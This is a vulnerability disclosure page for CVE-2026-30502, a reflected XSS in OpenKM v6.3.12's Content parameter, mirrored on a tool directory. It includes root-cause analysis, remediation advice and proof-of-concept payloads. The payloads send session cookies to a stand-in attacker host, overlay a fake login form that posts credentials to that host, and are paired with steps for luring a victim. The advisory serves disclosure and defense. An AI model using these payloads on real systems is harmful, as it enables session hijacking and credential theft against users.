Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS — Documentation and proof-of-concept for CVE-2026-30502, a reflected XSS vulnerability in OpenKM v6.3.12. Includes technical analysis, root cause, impact assessment, and remediation guidance for security researchers and penetration testers. | Kitploit
Tools/GitHubGitHub/dharmstm/cve-2026-30502-openkm-6.3.12-reflected-xss
Phishing ToolsVulnerability AnalysisWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubdharmstm/cve-2026-30502-openkm-6.3.12-reflected-xss

CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS

Documentation and proof-of-concept for CVE-2026-30502, a reflected XSS vulnerability in OpenKM v6.3.12. Includes technical analysis, root cause, impact assessment, and remediation guidance for security researchers and penetration testers.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
123 months agoNot yet reviewed

🛡️ CVE-2026-30502 — Reflected XSS in OpenKM v6.3.12

CVE Badge OpenKM Type Disclosure Status

Discovered & Reported by Dharmendra Kumar — Security Researcher

Cybersecurity | Penetration Testing | Vulnerability Research | Responsible Disclosure


📌 Table of Contents

  • Overview
  • CVE Details
  • Affected Product
  • Vulnerability Description
  • Root Cause Analysis
  • Impact & Risk Assessment
  • Proof of Concept (PoC)
  • Remediation & Recommendations
  • Disclosure Timeline
  • References
  • About the Researcher

🔍 Overview

This repository documents the responsible disclosure of CVE-2026-30502, a Reflected Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — a widely deployed open-source document management system used across enterprise and government environments.

The vulnerability exists in the Content parameter, which reflects user-supplied input back to the browser without proper sanitization or output encoding. An attacker can craft a malicious URL containing embedded JavaScript and social-engineer a victim into clicking it, resulting in script execution within the victim's browser session.

⚠️ Severity: Medium–High | Attack Vector: Network | Privileges Required: None | User Interaction: Required


📋 CVE Details


📦 Affected Product

OpenKM is a free and open-source document management system (DMS) providing a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions worldwide.

  • Product Name: OpenKM Document Management System
  • Affected Version: v6.3.12
  • Vendor Website: https://www.openkm.com
  • Category: Document Management System (DMS)
  • Language / Stack: Java (JSP / Spring Framework)

🧨 Vulnerability Description

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in OpenKM v6.3.12 via the Content parameter. The application fails to validate or encode user-supplied input before reflecting it back in the HTTP response body, allowing arbitrary JavaScript to be injected and executed in the victim's browser.

Unlike Stored XSS, a Reflected XSS payload is not persisted in the database — instead, it rides within a crafted URL. The attack relies on the victim being tricked into clicking a malicious link (delivered via email, social media, or phishing campaigns), after which the payload executes silently in their browser with the victim's session context.

Attack Flow

root@kitploit:~
Attacker crafts malicious URL
        │
        ▼
Victim clicks the link (phishing / social engineering)
        │
        ▼
Browser sends GET/POST request with payload in `Content` parameter
        │
        ▼
OpenKM reflects unsanitized input directly into HTML response
        │
        ▼
Browser parses & executes injected JavaScript
        │
        ▼
Session hijacked / credentials harvested / account compromised

🔬 Root Cause Analysis

The vulnerability results from the application's failure to enforce input-output security controls on the Content parameter:

root@kitploit:~
User-Crafted URL ──► Content Parameter ──► [NO Validation]
       ──► Reflected in HTML Response ──► [NO Encoding]
              ──► Browser Executes Script ──► Account Compromised

💥 Impact & Risk Assessment

A successful exploitation of this vulnerability can lead to:


🧪 Proof of Concept (PoC)

⚠️ Disclaimer: The following information is shared strictly for educational and security research purposes under responsible disclosure principles. Do not test or use this against systems you do not own or have explicit written authorization to assess.

Payload Examples (Generic)

root@kitploit:~
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

Crafted Malicious URL Structure

root@kitploit:~
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

Steps to Reproduce

  1. Identify the vulnerable endpoint in OpenKM v6.3.12 that reflects the Content parameter
  2. Craft a URL appending an XSS payload to the Content parameter
  3. URL-encode the payload if necessary
  4. Send the crafted link to a victim via email, chat, or any social engineering vector
  5. When the victim opens the link in their authenticated browser session, the payload executes
  6. Observe JavaScript execution, cookie theft, or redirect behavior

🛠️ Remediation & Recommendations

For Developers / Vendors

For System Administrators

  • 🔒 Restrict OpenKM access to internal/trusted networks via firewall rules
  • 🛡️ Deploy a Web Application Firewall (WAF) with XSS detection signatures as a compensating control
  • 📊 Monitor web server access logs for unexpected script tags or encoded payloads in query strings
  • 🔄 Keep the OpenKM installation updated to the latest secure release
  • 📧 Train users to be cautious about clicking unsolicited links to the DMS

📅 Disclosure Timeline

Full responsible disclosure principles were followed throughout this process, including vendor coordination and CVE Program engagement prior to any public release.


📚 References

  • 🔗 MITRE CVE Entry — CVE-2026-30502
  • 🔗 NVD — National Vulnerability Database
  • 🔗 OpenKM Official Website
  • 🔗 OWASP XSS Prevention Cheat Sheet
  • 🔗 CWE-79: Cross-site Scripting
  • 🔗 OWASP Top 10 — A03:2021 Injection
  • 🔗 OWASP Java Encoder

👨‍💻 About the Researcher

Dharmendra Kumar

Security Researcher | Penetration Tester | Bug Hunter | CVE Contributor

Dharmendra Kumar is an independent cybersecurity researcher specializing in web application security, penetration testing, and responsible vulnerability disclosure. His research focuses on identifying and responsibly reporting real-world security flaws in widely-used software — contributing to safer applications for users globally.

Areas of Expertise:

  • 🌐 Web Application Penetration Testing
  • 🐛 Bug Bounty Hunting & CVE Research
  • 🔍 Vulnerability Discovery & Security Advisories
  • 📋 Responsible Disclosure & Coordinated CVE Reporting

Connect with me:

GitHub LinkedIn Twitter Instagram Medium


⚖️ Legal Disclaimer

This repository is intended solely for educational and informational purposes. The vulnerability details and proof-of-concept payloads are published in accordance with responsible disclosure principles. The author does not condone or take responsibility for any unauthorized use of this information. Always obtain explicit written permission before conducting security testing on any system you do not own.


🙏 Acknowledgments

Special thanks to:

  • The OpenKM development team for their cooperation and responsiveness during coordinated disclosure
  • The MITRE CVE Program for assigning and managing the CVE identifier
  • The global security research and bug bounty community for continuously raising the bar on application security

⭐ If this research helped you, please consider starring this repository.

Security research shared openly to make the web safer for everyone.

© 2026 Dharmendra Kumar — All Rights Reserved

Download Tool
FieldDetails
CVE IDCVE-2026-30502
ProductOpenKM
Affected Versionv6.3.12
Vulnerability ClassReflected Cross-Site Scripting (XSS)
Vulnerable ParameterContent
CWECWE-79: Improper Neutralization of Input During Web Page Generation
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
SeverityMedium–High
PublisherMITRE CVE Program
ResearcherDharmendra Kumar
Disclosure TypeResponsible / Coordinated
WeaknessDescription
❌ No Input ValidationThe Content parameter accepts raw HTML/JavaScript characters without restriction or filtering
❌ No Output EncodingReflected values are written into the HTML response without HTML-entity encoding
❌ Missing CSP HeaderNo Content Security Policy is enforced to block inline script execution
❌ No HTTPOnly CookiesSession tokens are accessible via JavaScript, enabling direct cookie theft
RiskDescription
🍪 Session HijackingSteal active session tokens via document.cookie to impersonate the victim
🔑 Credential HarvestingInject fake login overlays to capture plaintext usernames and passwords
📤 Information DisclosureExfiltrate sensitive document content, user data, or internal configurations
🎣 Phishing AttacksServe convincing fake pages hosted within the trusted OpenKM domain
👤 Account TakeoverPerform arbitrary authenticated actions on behalf of the victim
⚙️ Unauthorized ActionsModify, delete, or exfiltrate documents within the DMS
🖥️ Malware DistributionRedirect victims to attacker-controlled sites hosting malicious downloads
RecommendationImplementation
✅ Input ValidationReject or strip HTML special characters (<, >, ", ', ;) from all user-controlled parameters
✅ Output EncodingApply context-aware HTML encoding using libraries like OWASP Java Encoder before rendering reflected data
✅ Content Security PolicyDeploy a strict CSP header: Content-Security-Policy: default-src 'self'; script-src 'self'
✅ HTTPOnly CookiesSet HttpOnly and Secure flags on all session cookies to block JavaScript access
✅ Security LibrariesIntegrate OWASP AntiSamy or DOMPurify for robust sanitization
✅ UpgradeApply the latest vendor-released security patch immediately
DateEvent
🔍 DiscoveryVulnerability identified during security assessment of OpenKM v6.3.12
📧 Vendor NotificationResponsible disclosure report submitted to OpenKM security team
🤝 Vendor AcknowledgmentOpenKM team acknowledged the vulnerability report
📝 CVE AssignmentCVE-2026-30502 assigned through the MITRE CVE Program
🌐 Public DisclosureCoordinated public disclosure following remediation period